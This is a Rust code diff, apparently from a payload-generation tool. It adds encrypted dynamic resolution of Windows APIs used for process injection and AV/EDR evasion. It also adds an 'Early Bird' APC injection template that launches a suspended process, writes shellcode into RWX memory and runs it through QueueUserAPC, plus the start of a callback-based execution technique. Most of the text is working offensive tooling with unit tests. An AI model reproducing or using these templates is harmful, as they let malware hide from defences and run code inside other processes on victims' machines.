+ var_name: "convert_thread_to_fiber",
+ signature: "unsafe extern \"system\" fn(*const std::ffi::c_void) -> *mut std::ffi::c_void",
+ }),
+ "CreateFiber" => Some(ApiMetadata {
+ dll: "kernel32.dll",
+ var_name: "create_fiber",
+ signature: "unsafe extern \"system\" fn(usize, *const std::ffi::c_void, *const std::ffi::c_void) -> *mut std::ffi::c_void",
+ }),
+ "SwitchToFiber" => Some(ApiMetadata {
+ dll: "kernel32.dll",
+ var_name: "switch_to_fiber",
+ signature: "unsafe extern \"system\" fn(*const std::ffi::c_void)",
+ }),
+ "EnumCalendarInfoA" => Some(ApiMetadata {
+ dll: "kernel32.dll",
+ var_name: "enum_calendar_info_a",
+ signature: "unsafe extern \"system\" fn(*const std::ffi::c_void, u32, u32, u32) -> i32",
+ }),
+ "SetTimer" => Some(ApiMetadata {
+ dll: "user32.dll",
+ var_name: "set_timer",
+ signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, usize, u32, *const std::ffi::c_void) -> usize",
+ }),
+ "GetMessageW" => Some(ApiMetadata {
+ dll: "user32.dll",
+ var_name: "get_message_w",
+ signature: "unsafe extern \"system\" fn(*mut u8, *mut std::ffi::c_void, u32, u32) -> i32",
+ }),
+ "DispatchMessageW" => Some(ApiMetadata {
+ dll: "user32.dll",
+ var_name: "dispatch_message_w",
+ signature: "unsafe extern \"system\" fn(*const u8) -> isize",
+ }),
+ "WaitForSingleObject" => Some(ApiMetadata {
+ dll: "kernel32.dll",
+ var_name: "wait_for_single_object",
+ signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, u32) -> u32",
+ }),
+ "EtwpCreateEtwThread" => Some(ApiMetadata {
+ dll: "ntdll.dll",
+ var_name: "etwp_create_etw_thread",
+ signature: "unsafe extern \"system\" fn(*const std::ffi::c_void, usize) -> *mut std::ffi::c_void",
+ }),
+ "ResumeThread" => Some(ApiMetadata {
+ dll: "kernel32.dll",
+ var_name: "resume_thread",
+ signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void) -> u32",
+ }),
+ "ReadProcessMemory" => Some(ApiMetadata {
+ dll: "kernel32.dll",
+ var_name: "read_process_memory",
+ signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, *const std::ffi::c_void, *mut std::ffi::c_void, usize, *mut usize) -> i32",
+ }),
+ "ZwQueryInformationProcess" => Some(ApiMetadata {
+ dll: "ntdll.dll",
+ var_name: "zw_query_information_process",
+ signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, u32, *mut std::ffi::c_void, u32, *mut u32) -> i32",
+ }),
+ "NtAllocateVirtualMemory" => Some(ApiMetadata {
+ dll: "ntdll.dll",
+ var_name: "nt_allocate_virtual_memory",
+ signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, *mut *mut std::ffi::c_void, usize, *mut usize, u32, u32) -> i32",
+ }),
+ "NtWriteVirtualMemory" => Some(ApiMetadata {
+ dll: "ntdll.dll",
+ var_name: "nt_write_virtual_memory",
+ signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, *mut std::ffi::c_void, *const std::ffi::c_void, usize, *mut usize) -> i32",
+ }),
+ "NtProtectVirtualMemory" => Some(ApiMetadata {
+ dll: "ntdll.dll",
+ var_name: "nt_protect_virtual_memory",
+ signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, *mut *mut std::ffi::c_void, *mut usize, u32, *mut u32) -> i32",
+ }),
+ "NtCreateThreadEx" => Some(ApiMetadata {
+ dll: "ntdll.dll",
+ var_name: "nt_create_thread_ex",
+ signature: "unsafe extern \"system\" fn(*mut *mut std::ffi::c_void, u32, *const std::ffi::c_void, *mut std::ffi::c_void, *const std::ffi::c_void, *const std::ffi::c_void, u32, usize, usize, usize, *const std::ffi::c_void) -> i32",
+ }),
+ "EnumWindows" => Some(ApiMetadata {
+ dll: "user32.dll",
+ var_name: "enum_windows",
+ signature: "unsafe extern \"system\" fn(*const std::ffi::c_void, isize) -> i32",
+ }),
+ "EnumSystemLocalesA" => Some(ApiMetadata {
+ dll: "kernel32.dll",
+ var_name: "enum_system_locales_a",
+ signature: "unsafe extern \"system\" fn(*const std::ffi::c_void, u32) -> i32",
+ }),
+ "CreateThread" => Some(ApiMetadata {
+ dll: "kernel32.dll",
+ var_name: "create_thread",
+ signature: "unsafe extern \"system\" fn(*const std::ffi::c_void, usize, *const std::ffi::c_void, *const std::ffi::c_void, u32, *mut u32) -> *mut std::ffi::c_void",
+ }),
+ "QueueUserAPC" => Some(ApiMetadata {
+ dll: "kernel32.dll",
+ var_name: "queue_user_apc",
+ signature: "unsafe extern \"system\" fn(*const std::ffi::c_void, *mut std::ffi::c_void, usize) -> u32",
+ }),
+ "OpenProcessToken" => Some(ApiMetadata {
+ dll: "advapi32.dll",
+ var_name: "open_process_token",
+ signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, u32, *mut *mut std::ffi::c_void) -> i32",
+ }),
+ "GetTokenInformation" => Some(ApiMetadata {
+ dll: "advapi32.dll",
+ var_name: "get_token_information",
+ signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, u32, *mut std::ffi::c_void, u32, *mut u32) -> i32",
+ }),
+ "CloseHandle" => Some(ApiMetadata {
+ dll: "kernel32.dll",
+ var_name: "close_handle",
+ signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void) -> i32",
+ }),
+ "GetCurrentProcess" => Some(ApiMetadata {
+ dll: "kernel32.dll",
+ var_name: "get_current_process",
+ signature: "unsafe extern \"system\" fn() -> *mut std::ffi::c_void",
+ }),
+ "GetModuleFileNameA" => Some(ApiMetadata {
+ dll: "kernel32.dll",
+ var_name: "get_module_file_name_a",
+ signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, *mut u8, u32) -> u32",
+ }),
+ "RegOpenKeyExA" => Some(ApiMetadata {
+ dll: "advapi32.dll",
+ var_name: "reg_open_key_ex_a",
+ signature: "unsafe extern \"system\" fn(isize, *const i8, u32, u32, *mut isize) -> i32",
+ }),
+ "RegSetValueExA" => Some(ApiMetadata {
+ dll: "advapi32.dll",
+ var_name: "reg_set_value_ex_a",
+ signature: "unsafe extern \"system\" fn(isize, *const i8, u32, u32, *const u8, u32) -> i32",
+ }),
+ "RegCreateKeyExA" => Some(ApiMetadata {
+ dll: "advapi32.dll",
+ var_name: "reg_create_key_ex_a",
+ signature: "unsafe extern \"system\" fn(isize, *const i8, u32, *const i8, u32, u32, *mut std::ffi::c_void, *mut isize, *mut u32) -> i32",
+ }),
+ "RegCloseKey" => Some(ApiMetadata {
+ dll: "advapi32.dll",
+ var_name: "reg_close_key",
+ signature: "unsafe extern \"system\" fn(isize) -> i32",
+ }),
+ "GetProcessMitigationPolicy" => Some(ApiMetadata {
+ dll: "kernel32.dll",
+ var_name: "get_process_mitigation_policy",
+ signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, u32, *mut std::ffi::c_void, usize) -> i32",
+ }),
+ "CreateFileW" => Some(ApiMetadata {
+ dll: "kernel32.dll",
+ var_name: "create_file_w",
+ signature: "unsafe extern \"system\" fn(*const u16, u32, u32, *const std::ffi::c_void, u32, u32, *mut std::ffi::c_void) -> *mut std::ffi::c_void",
+ }),
+ "ImageGetDigestStream" => Some(ApiMetadata {
+ dll: "imagehlp.dll",
+ var_name: "image_get_digest_stream",
+ signature: "unsafe extern \"system\" fn(*mut std::ffi::c_void, u32, *const std::ffi::c_void, *mut *mut std::ffi::c_void) -> i32",
+ }),
+ _ => None,
+ }
+}
+
+/// Common Win32 API function resolver and cast generator
+pub struct ApiResolver {
+ pub resolver_code: String,
+ pub cast_code: String,
+}
+
+impl ApiResolver {
+ fn new(
+ dll: &str,
+ func: &str,
+ var: &str,
+ sig: &str,
+ encryptor: &dyn Encryptor,
+ ) -> Result<Self, String> {
+ let encrypted_dll = encryptor
+ .encrypt(dll.as_bytes())
+ .map_err(|e| format!("Failed to encrypt DLL name '{}': {}", dll, e))?;
+ let encrypted_fn = encryptor
+ .encrypt(func.as_bytes())
+ .map_err(|e| format!("Failed to encrypt function name '{}': {}", func, e))?;
+
+ let encryption_type = encryptor.encryption_type();
+ let resolver_code = generate_dynamic_function_resolver(
+ dll,
+ func,
+ encryption_type,
+ var,
+ DECRYPTION_KEY_NAME,
+ &encrypted_dll,
+ &encrypted_fn,
+ )?;
+ let cast_code = generate_function_type_and_cast(var, sig);
+ Ok(Self {
+ resolver_code,
+ cast_code,
+ })
+ }
+
+ fn from_registry(function_name: &str, encryptor: &dyn Encryptor) -> Result<Self, String> {
+ let metadata = get_api_metadata(function_name)
+ .ok_or_else(|| format!("Unknown API function: {}", function_name))?;
+ Self::new(
+ metadata.dll,
+ function_name,
+ metadata.var_name,
+ metadata.signature,
+ encryptor,
+ )
+ }
+}
+
+/// Generate resolver for VirtualAlloc (kernel32.dll)
+pub fn virtual_alloc_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("VirtualAlloc", encryptor)
+}
+
+/// Generate resolver for VirtualAllocEx (kernel32.dll)
+pub fn virtual_alloc_ex_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("VirtualAllocEx", encryptor)
+}
+
+/// Generate resolver for VirtualProtect (kernel32.dll)
+pub fn virtual_protect_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("VirtualProtect", encryptor)
+}
+
+/// Generate resolver for VirtualProtectEx (kernel32.dll)
+pub fn virtual_protect_ex_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("VirtualProtectEx", encryptor)
+}
+
+/// Generate resolver for WriteProcessMemory (kernel32.dll)
+pub fn write_process_memory_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("WriteProcessMemory", encryptor)
+}
+
+/// Generate resolver for CreateProcessW (kernel32.dll)
+pub fn create_process_w_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("CreateProcessW", encryptor)
+}
+
+/// Generate resolver for CreateRemoteThread (kernel32.dll)
+pub fn create_remote_thread_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("CreateRemoteThread", encryptor)
+}
+
+/// Generate resolver for CreateRemoteThreadEx (kernel32.dll)
+pub fn create_remote_thread_ex_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("CreateRemoteThreadEx", encryptor)
+}
+
+/// Generate resolver for RtlCopyMemory (ntdll.dll)
+pub fn rtl_copy_memory_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("RtlCopyMemory", encryptor)
+}
+
+/// Generate resolver for ConvertThreadToFiber (kernel32.dll)
+pub fn convert_thread_to_fiber_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("ConvertThreadToFiber", encryptor)
+}
+
+/// Generate resolver for CreateFiber (kernel32.dll)
+pub fn create_fiber_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("CreateFiber", encryptor)
+}
+
+/// Generate resolver for SwitchToFiber (kernel32.dll)
+pub fn switch_to_fiber_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("SwitchToFiber", encryptor)
+}
+
+/// Generate resolver for EnumCalendarInfoA (kernel32.dll)
+pub fn enum_calendar_info_a_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("EnumCalendarInfoA", encryptor)
+}
+
+/// Generate resolver for SetTimer (user32.dll)
+pub fn set_timer_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("SetTimer", encryptor)
+}
+
+/// Generate resolver for GetMessageW (user32.dll)
+pub fn get_message_w_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("GetMessageW", encryptor)
+}
+
+/// Generate resolver for DispatchMessageW (user32.dll)
+pub fn dispatch_message_w_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("DispatchMessageW", encryptor)
+}
+
+/// Generate resolver for WaitForSingleObject (kernel32.dll)
+pub fn wait_for_single_object_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("WaitForSingleObject", encryptor)
+}
+
+/// Generate resolver for EtwpCreateEtwThread (ntdll.dll)
+pub fn etwp_create_etw_thread_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("EtwpCreateEtwThread", encryptor)
+}
+
+/// Generate resolver for ResumeThread (kernel32.dll)
+pub fn resume_thread_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("ResumeThread", encryptor)
+}
+
+/// Generate resolver for ReadProcessMemory (kernel32.dll)
+pub fn read_process_memory_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("ReadProcessMemory", encryptor)
+}
+
+/// Generate resolver for ZwQueryInformationProcess (ntdll.dll)
+pub fn zw_query_information_process_resolver(
+ encryptor: &dyn Encryptor,
+) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("ZwQueryInformationProcess", encryptor)
+}
+
+/// Generate resolver for NtAllocateVirtualMemory (ntdll.dll)
+pub fn nt_allocate_virtual_memory_resolver(
+ encryptor: &dyn Encryptor,
+) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("NtAllocateVirtualMemory", encryptor)
+}
+
+/// Generate resolver for NtWriteVirtualMemory (ntdll.dll)
+pub fn nt_write_virtual_memory_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("NtWriteVirtualMemory", encryptor)
+}
+
+/// Generate resolver for NtProtectVirtualMemory (ntdll.dll)
+pub fn nt_protect_virtual_memory_resolver(
+ encryptor: &dyn Encryptor,
+) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("NtProtectVirtualMemory", encryptor)
+}
+
+/// Generate resolver for NtCreateThreadEx (ntdll.dll)
+pub fn nt_create_thread_ex_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("NtCreateThreadEx", encryptor)
+}
+
+/// Generate resolver for EnumWindows (user32.dll)
+pub fn enum_windows_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("EnumWindows", encryptor)
+}
+
+/// Generate resolver for EnumSystemLocalesA (kernel32.dll)
+pub fn enum_system_locales_a_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("EnumSystemLocalesA", encryptor)
+}
+
+/// Generate resolver for CreateThread (kernel32.dll)
+pub fn create_thread_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("CreateThread", encryptor)
+}
+
+/// Generate resolver for QueueUserAPC (kernel32.dll)
+pub fn queue_user_apc_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("QueueUserAPC", encryptor)
+}
+
+/// Generate resolver for OpenProcessToken (advapi32.dll)
+pub fn open_process_token_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("OpenProcessToken", encryptor)
+}
+
+/// Generate resolver for GetTokenInformation (advapi32.dll)
+pub fn get_token_information_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("GetTokenInformation", encryptor)
+}
+
+/// Generate resolver for CloseHandle (kernel32.dll)
+pub fn close_handle_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("CloseHandle", encryptor)
+}
+
+/// Generate resolver for GetCurrentProcess (kernel32.dll)
+pub fn get_current_process_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("GetCurrentProcess", encryptor)
+}
+
+/// Generate resolver for GetModuleFileNameA (kernel32.dll)
+pub fn get_module_file_name_a_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("GetModuleFileNameA", encryptor)
+}
+
+/// Generate resolver for RegOpenKeyExA (advapi32.dll)
+pub fn reg_open_key_ex_a_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("RegOpenKeyExA", encryptor)
+}
+
+/// Generate resolver for RegSetValueExA (advapi32.dll)
+pub fn reg_set_value_ex_a_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("RegSetValueExA", encryptor)
+}
+
+/// Generate resolver for RegCreateKeyExA (advapi32.dll)
+pub fn reg_create_key_ex_a_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("RegCreateKeyExA", encryptor)
+}
+
+/// Generate resolver for RegCloseKey (advapi32.dll)
+pub fn reg_close_key_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("RegCloseKey", encryptor)
+}
+
+/// Generate resolver for GetProcessMitigationPolicy (kernel32.dll)
+pub fn get_process_mitigation_policy_resolver(
+ encryptor: &dyn Encryptor,
+) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("GetProcessMitigationPolicy", encryptor)
+}
+
+/// Generate resolver for CreateFileW (kernel32.dll)
+pub fn create_file_w_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("CreateFileW", encryptor)
+}
+
+/// Generate resolver for ImageGetDigestStream (imagehlp.dll)
+pub fn image_get_digest_stream_resolver(encryptor: &dyn Encryptor) -> Result<ApiResolver, String> {
+ ApiResolver::from_registry("ImageGetDigestStream", encryptor)
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ struct MockXorEncryptor;
+
+ impl Encryptor for MockXorEncryptor {
+ fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ let key = b"test_key";
+ Ok(data
+ .iter()
+ .enumerate()
+ .map(|(i, &b)| b ^ key[i % key.len()])
+ .collect())
+ }
+
+ fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ self.encrypt(data)
+ }
+
+ fn key_size(&self) -> usize {
+ 8
+ }
+
+ fn algorithm_name(&self) -> &'static str {
+ "XOR"
+ }
+
+ fn generate_decrypt_code(&self) -> &'static str {
+ "mock decrypt code"
+ }
+ }
+
+ struct MockAesEncryptor;
+
+ impl Encryptor for MockAesEncryptor {
+ fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ let key = b"test_key";
+ Ok(data
+ .iter()
+ .enumerate()
+ .map(|(i, &b)| b ^ key[i % key.len()])
+ .collect())
+ }
+
+ fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ self.encrypt(data)
+ }
+
+ fn key_size(&self) -> usize {
+ 16
+ }
+
+ fn algorithm_name(&self) -> &'static str {
+ "AES-128-CBC"
+ }
+
+ fn generate_decrypt_code(&self) -> &'static str {
+ "mock decrypt code"
+ }
+ }
+
+ struct MockChaCha20Encryptor;
+
+ impl Encryptor for MockChaCha20Encryptor {
+ fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ let key = b"test_key";
+ Ok(data
+ .iter()
+ .enumerate()
+ .map(|(i, &b)| b ^ key[i % key.len()])
+ .collect())
+ }
+
+ fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ self.encrypt(data)
+ }
+
+ fn key_size(&self) -> usize {
+ 32
+ }
+
+ fn algorithm_name(&self) -> &'static str {
+ "ChaCha20"
+ }
+
+ fn generate_decrypt_code(&self) -> &'static str {
+ "mock decrypt code"
+ }
+ }
+
+ struct MockAes256Encryptor;
+
+ impl Encryptor for MockAes256Encryptor {
+ fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ let key = b"test_key";
+ Ok(data
+ .iter()
+ .enumerate()
+ .map(|(i, &b)| b ^ key[i % key.len()])
+ .collect())
+ }
+
+ fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ self.encrypt(data)
+ }
+
+ fn key_size(&self) -> usize {
+ 32
+ }
+
+ fn algorithm_name(&self) -> &'static str {
+ "AES-256-CBC"
+ }
+
+ fn generate_decrypt_code(&self) -> &'static str {
+ "mock decrypt code"
+ }
+ }
+
+ struct MockTwofishEncryptor;
+
+ impl Encryptor for MockTwofishEncryptor {
+ fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ let key = b"test_key";
+ Ok(data
+ .iter()
+ .enumerate()
+ .map(|(i, &b)| b ^ key[i % key.len()])
+ .collect())
+ }
+
+ fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ self.encrypt(data)
+ }
+
+ fn key_size(&self) -> usize {
+ 32
+ }
+
+ fn algorithm_name(&self) -> &'static str {
+ "Twofish-CBC"
+ }
+
+ fn generate_decrypt_code(&self) -> &'static str {
+ "mock decrypt code"
+ }
+ }
+
+ struct MockCamelliaEncryptor;
+
+ impl Encryptor for MockCamelliaEncryptor {
+ fn encrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ let key = b"test_key";
+ Ok(data
+ .iter()
+ .enumerate()
+ .map(|(i, &b)| b ^ key[i % key.len()])
+ .collect())
+ }
+
+ fn decrypt(&self, data: &[u8]) -> Result<Vec<u8>, String> {
+ self.encrypt(data)
+ }
+
+ fn key_size(&self) -> usize {
+ 32
+ }
+
+ fn algorithm_name(&self) -> &'static str {
+ "Camellia-256-CBC"
+ }
+
+ fn generate_decrypt_code(&self) -> &'static str {
+ "mock decrypt code"
+ }
+ }
+
+ #[test]
+ fn test_virtual_alloc_resolver() {
+ let encryptor = MockXorEncryptor;
+ let result = virtual_alloc_resolver(&encryptor);
+ assert!(result.is_ok());
+ let resolver = result.unwrap();
+ assert!(resolver.resolver_code.contains("VirtualAlloc"));
+ assert!(resolver.resolver_code.contains("ENCRYPTED_DLL"));
+ assert!(resolver.resolver_code.contains("decrypt_xor"));
+ assert!(resolver.cast_code.contains("virtual_alloc"));
+ }
+
+ #[test]
+ fn test_rtl_copy_memory_resolver() {
+ let encryptor = MockAesEncryptor;
+ let result = rtl_copy_memory_resolver(&encryptor);
+ assert!(result.is_ok());
+ let resolver = result.unwrap();
+ assert!(resolver.resolver_code.contains("RtlCopyMemory"));
+ assert!(resolver.resolver_code.contains("ntdll.dll"));
+ assert!(resolver.resolver_code.contains("ENCRYPTED_DLL"));
+ assert!(resolver.resolver_code.contains("decrypt_aes"));
+ }
+
+ #[test]
+ fn test_create_remote_thread_resolver() {
+ let encryptor = MockChaCha20Encryptor;
+ let result = create_remote_thread_resolver(&encryptor);
+ assert!(result.is_ok());
+ let resolver = result.unwrap();
+ assert!(resolver.resolver_code.contains("CreateRemoteThread"));
+ assert!(resolver.resolver_code.contains("ENCRYPTED_DLL"));
+ assert!(resolver.resolver_code.contains("decrypt_chacha20"));
+ }
+
+ #[test]
+ fn test_resolver_with_aes256() {
+ let encryptor = MockAes256Encryptor;
+ let result = virtual_alloc_resolver(&encryptor);
+ assert!(result.is_ok());
+ let resolver = result.unwrap();
+ assert!(resolver.resolver_code.contains("decrypt_aes256"));
+ }
+
+ #[test]
+ fn test_resolver_with_twofish() {
+ let encryptor = MockTwofishEncryptor;
+ let result = virtual_protect_resolver(&encryptor);
+ assert!(result.is_ok());
+ let resolver = result.unwrap();
+ assert!(resolver.resolver_code.contains("decrypt_twofish"));
+ }
+
+ #[test]
+ fn test_resolver_with_camellia() {
+ let encryptor = MockCamelliaEncryptor;
+ let result = write_process_memory_resolver(&encryptor);
+ assert!(result.is_ok());
+ let resolver = result.unwrap();
+ assert!(resolver.resolver_code.contains("decrypt_camellia"));
+ }
+}
diff --git a/src/internals/templates/techniques/early_bird.rs b/src/internals/templates/techniques/early_bird.rs
@@ -0,0 +1,221 @@
+pub fn early_bird_import() -> String {
+ super::common::common_process_injection_imports().to_string()
+}
+
+pub fn early_bird_const() -> String {
+ format!(
+ r#"
+{}
+
+{}
+
+#[link(name = "kernel32")]
+extern "system" {{
+ {}
+
+ fn QueueUserAPC(
+ pfn_apc: *const std::ffi::c_void,
+ thread: *mut std::ffi::c_void,
+ data: usize,
+ ) -> u32;
+
+ fn ResumeThread(thread: *mut std::ffi::c_void) -> u32;
+
+ fn CloseHandle(object: *mut std::ffi::c_void) -> i32;
+}}
+
+{}
+"#,
+ super::common::COMMON_MEMORY_CONSTANTS,
+ super::common::COMMON_PROCESS_CONSTANTS,
+ super::common::common_process_injection_externs(),
+ super::common::common_process_structures()
+ )
+}
+
+pub fn early_bird_init() -> String {
+ String::new()
+}
+
+pub fn early_bird_process(process: &str) -> String {
+ let process_wide = format!(
+ "let process_path: Vec<u16> = \"{}\\0\".encode_utf16().collect();",
+ process.replace('\\', "\\\\")
+ );
+
+ format!(
+ r#"
+ unsafe {{
+ {}
+
+ let mut si = StartupInfoW {{
+ cb: std::mem::size_of::<StartupInfoW>() as u32,
+ reserved1: ptr::null_mut(),
+ desktop: ptr::null_mut(),
+ title: ptr::null_mut(),
+ x: 0,
+ y: 0,
+ x_size: 0,
+ y_size: 0,
+ x_count_chars: 0,
+ y_count_chars: 0,
+ fill_attribute: 0,
+ flags: 0,
+ show_window: 0,
+ reserved2: 0,
+ reserved3: ptr::null_mut(),
+ std_input: ptr::null_mut(),
+ std_output: ptr::null_mut(),
+ std_error: ptr::null_mut(),
+ }};
+
+ let mut pi = ProcessInformation {{
+ process: ptr::null_mut(),
+ thread: ptr::null_mut(),
+ process_id: 0,
+ thread_id: 0,
+ }};
+
+ let result = CreateProcessW(
+ process_path.as_ptr(),
+ ptr::null_mut(),
+ ptr::null(),
+ ptr::null(),
+ 0,
+ CREATE_SUSPENDED,
+ ptr::null(),
+ ptr::null(),
+ &si,
+ &mut pi,
+ );
+
+ if result == 0 {{
+ panic!("failed");
+ }}
+
+ let addr = VirtualAllocEx(
+ pi.process,
+ ptr::null(),
+ shellcode.len(),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_EXECUTE_READWRITE,
+ );
+
+ if addr.is_null() {{
+ panic!("failed");
+ }}
+
+ let write_result = WriteProcessMemory(
+ pi.process,
+ addr,
+ shellcode.as_ptr() as *const std::ffi::c_void,
+ shellcode.len(),
+ ptr::null_mut(),
+ );
+
+ if write_result == 0 {{
+ panic!("failed");
+ }}
+
+ let mut old_protect: u32 = PAGE_READWRITE;
+ let protect_result = VirtualProtectEx(
+ pi.process,
+ addr,
+ shellcode.len(),
+ PAGE_EXECUTE_READ,
+ &mut old_protect,
+ );
+
+ if protect_result == 0 {{
+ panic!("failed");
+ }}
+
+ let apc_result = QueueUserAPC(addr, pi.thread, 0);
+
+ if apc_result == 0 {{
+ panic!("failed");
+ }}
+
+ ResumeThread(pi.thread);
+ CloseHandle(pi.thread);
+ CloseHandle(pi.process);
+ }}
+"#,
+ process_wide
+ )
+}
+
+fn generate_early_bird_template(function_name: &str, process: &str) -> String {
+ super::common::TechniqueTemplateBuilder::new()
+ .with_import(early_bird_import())
+ .with_const(early_bird_const())
+ .with_init(early_bird_init())
+ .with_process(early_bird_process(process))
+ .build(function_name)
+}
+
+pub fn generate_early_bird_code(function_name: &str, process: &str) -> String {
+ generate_early_bird_template(function_name, process)
+}
+
+pub struct EarlyBirdGenerator;
+
+impl super::trait_generator::TechniqueGenerator for EarlyBirdGenerator {
+ fn generate_code(&self, process: &str, function_name: &str) -> String {
+ generate_early_bird_code(function_name, process)
+ }
+
+ fn generate_code_with_dynamic_resolver(
+ &self,
+ process: &str,
+ function_name: &str,
+ _encryption_type: &str,
+ _encryptor: &dyn crate::encryption::Encryptor,
+ ) -> String {
+ self.generate_code(process, function_name)
+ }
+
+ fn requires_process(&self) -> bool {
+ true
+ }
+
+ fn name(&self) -> &'static str {
+ "EarlyBird"
+ }
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+ use crate::internals::templates::techniques::trait_generator::TechniqueGenerator;
+
+ #[test]
+ fn test_generate_early_bird_template_contains_all_parts() {
+ let template = generate_early_bird_template("MyFunction", "cmd.exe");
+ assert!(template.contains("use std::ptr"));
+ assert!(template.contains("QueueUserAPC"));
+ assert!(template.contains("fn MyFunction"));
+ assert!(template.contains("CREATE_SUSPENDED"));
+ assert!(template.contains("ResumeThread"));
+ }
+
+ #[test]
+ fn test_generate_early_bird_code() {
+ let code = generate_early_bird_code("MyRandomFunc", "notepad.exe");
+ assert!(code.contains("fn MyRandomFunc"));
+ assert!(code.contains("QueueUserAPC"));
+ assert!(code.contains("VirtualAllocEx"));
+ }
+
+ #[test]
+ fn test_early_bird_generator_name() {
+ let gen = EarlyBirdGenerator;
+ assert_eq!(gen.name(), "EarlyBird");
+ }
+
+ #[test]
+ fn test_early_bird_requires_process() {
+ let gen = EarlyBirdGenerator;
+ assert!(gen.requires_process());
+ }
+}
diff --git a/src/internals/templates/techniques/enum_calendar.rs b/src/internals/templates/techniques/enum_calendar.rs
@@ -0,0 +1,233 @@
+pub fn enum_calendar_import() -> String {
+ r#"
+use std::ptr;
+"#
+ .to_string()
+}
+
+pub fn enum_calendar_const() -> String {
+ r#"
+const MEM_COMMIT: u32 = 0x1000;
+const MEM_RESERVE: u32 = 0x2000;
+const PAGE_EXECUTE_READWRITE: u32 = 0x40;
+
+const LOCALE_USER_DEFAULT: u32 = 0x0400;
+const ENUM_ALL_CALENDARS: u32 = 0xFFFFFFFF;
+const CAL_SMONTHNAME1: u32 = 0x00000015;
+
